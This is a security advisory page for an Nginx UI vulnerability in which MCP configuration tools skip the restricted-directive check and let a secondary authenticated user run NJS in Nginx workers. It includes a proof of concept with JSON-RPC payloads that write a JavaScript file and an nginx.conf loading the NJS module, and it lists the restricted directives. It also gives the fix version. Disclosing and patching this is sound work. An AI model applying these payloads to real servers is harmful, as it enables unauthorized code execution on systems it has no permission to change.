GHSA-5r62-gj48-897x CVE-2026-84319 GO-2026-6774
Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
- Severity
- 8.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.28%
- Chance of exploitation in the next 30 days. Higher than 20.56% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-693 Protection Mechanism Failure
- Fix
1.9.10-0.20260703131214-23d1934099b0- Upgrade github.com/0xJacky/Nginx-UI to this version or later
Description
Summary
The regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
Affected component
/mcp/mcp_message- MCP tool:
nginx_config_add - Nginx configuration validation
Impact
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
Minimal PoC
Preconditions
- Attacker has a secondary authenticated Nginx UI account.
- MCP is enabled.
- Nginx has NJS available:
find / -name "ngx_http_js_module.so" 2>/dev/null
Observed in the lab:
/usr/lib/nginx/modules/ngx_http_js_module.so
1. HTTP API blocks the restricted config
Request:
POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/json
Body:
{
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
Observed result:
Rejected because the content contains restricted directives such as load_module/js_import/js_content.
2. MCP writes the JavaScript file
Open an MCP session and call tools/call with:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "poc.js",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
}
}
}
3. MCP writes the NJS-enabled nginx.conf
Call tools/call again:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
}
}
4. Verify NJS execution
Inside the Nginx UI container:
curl -i http://127.0.0.1:18249/__poc
Observed response:
HTTP/1.1 200 OK
MCP_NJS_MARKER
This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
Expected behavior
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
Suggested fix
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
load_modulejs_importjs_contentjs_setperl_setuser root
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20260703131214-23d1934099b0 |
1.9.10-0.20260703131214-23d1934099b0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/0xJacky/Nginx-UI Go → 1.9.10-0.20260703131214-23d1934099b0
- go
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260703131214-23d1934099b0 && go mod tidy
Severity breakdown
CVSS 3.1 8.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- High
- Availability
- High
Weakness
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6773 Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-vc32-4gwf-77xp Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-wq4w-vwvq-q3x9 Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-jrq7-xrjx-pcfw Nginx UI: Auto backup name allows path traversal outside validated storage path | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-9jww-cxg5-rj9m Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-76pm-mq2q-9gcr Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-cf23-7qxj-xmhr Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-5v7c-xpfp-p65m Nginx UI OTP secure-session step-up is missing on sensitive mutation routes | High | Also affects github.com/0xJacky/Nginx-UI |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor